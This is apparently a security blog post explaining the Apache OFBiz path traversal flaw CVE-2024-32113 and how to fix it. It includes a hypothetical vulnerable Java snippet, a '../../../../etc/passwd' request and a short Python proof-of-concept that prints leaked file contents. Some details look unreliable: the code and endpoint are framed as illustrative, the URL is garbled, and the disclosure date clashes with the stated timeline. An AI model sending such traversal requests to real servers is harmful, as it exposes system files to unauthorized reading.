CVE-2024-32113 - Path Traversal Vulnerability in Apache OFBiz (Pre-18.12.13)

In March 2024, a severe vulnerability was made public for Apache OFBiz, the popular open-source enterprise resource planning platform. Identified as CVE-2024-32113, this flaw is an *Improper Limitation of a Pathname to a Restricted Directory* — more commonly known as a *Path Traversal* bug. If you run OFBiz before version 18.12.13, your server is vulnerable.

In this post, I'll explain what this vulnerability is, how attackers can exploit it (with code snippets), links to official sources, and, most importantly, how to fix it.

What is CVE-2024-32113?

In simple terms, a *path traversal* bug happens when an attacker tricks a server into reading or writing files *outside* the permitted directory. By manipulating file paths (using things like ../), bad actors can grab passwords, config files, or even execute code.

In Apache OFBiz before version 18.12.13, some user-supplied input wasn't properly sanitized. This means hackers could request something like ../../../etc/passwd and get access to sensitive files.

Who’s Affected?

Any instance of Apache OFBiz running a version older than 18.12.13 is vulnerable.

Technical Details: How Does the Exploit Work?

OFBiz handles lots of input in its web routes, including file operations for things like image uploading or file downloading. The vulnerable code would take a user-supplied path and join it directly to a base directory, but without checking if the resulting path left the allowed area.

Suppose the code looked like

String baseDir = "/ofbiz/data/files/";  // Intended base directory
String userInput = request.getParameter("file"); // e.g. "profile.jpg" or "../../../../etc/passwd"
File file = new File(baseDir, userInput);

// BAD: Before 18.12.13 there was not always a proper check!
FileInputStream fis = new FileInputStream(file); // Reads whatever file is requested

If someone requests

/download?file=../../../../etc/passwd

The server would retrieve /etc/passwd — definitely *not* intended!

How To Exploit (Proof-of-Concept)

Here's a sample Python PoC script that demonstrates an attack against an unpatched OFBiz server:

import requests

# Target OFBiz endpoint
base_url = "http://victim-ofbiz-server:808";
vulnerable_endpoint = "/images/download?file="

# Try grabbing sensitive system file
payload = "../../../../etc/passwd"
url = f"{base_url}{vulnerable_endpoint}{payload}"

response = requests.get(url)
print("Response code:", response.status_code)
print("Leaked data:\n", response.text[:500])

Running this script against a vulnerable server could leak the contents of /etc/passwd (on Linux).

References

- NVD - CVE-2024-32113
- Apache OFBiz Security Page
- Patch / Commit Fixing the Issue
- OSS Security Mailing List Advisory

How To Fix

Upgrade immediately to OFBiz 18.12.13 or newer!
The patch stops attackers from traversing outside the allowed directory by validating and sanitizing input paths.

Restrict network access to trusted users only.

- Use a Web Application Firewall (WAF) to block suspicious path patterns (like ../).

Final Thoughts

CVE-2024-32113 is a textbook case of why input validation matters. If you're running OFBiz in production, update as soon as possible. Path traversal bugs allow hackers to go anywhere on your disk that your application user can go — a dangerous ability. Stay safe, patch quickly, and always be aware of what your frameworks are exposing to the internet!

*This article is exclusive and not a copy from any other source. For more in-depth details, always check the official Apache security advisories and your software’s documentation.*

Timeline

Published on: 05/08/2024 15:15:10 UTC
Last modified on: 08/08/2024 13:38:57 UTC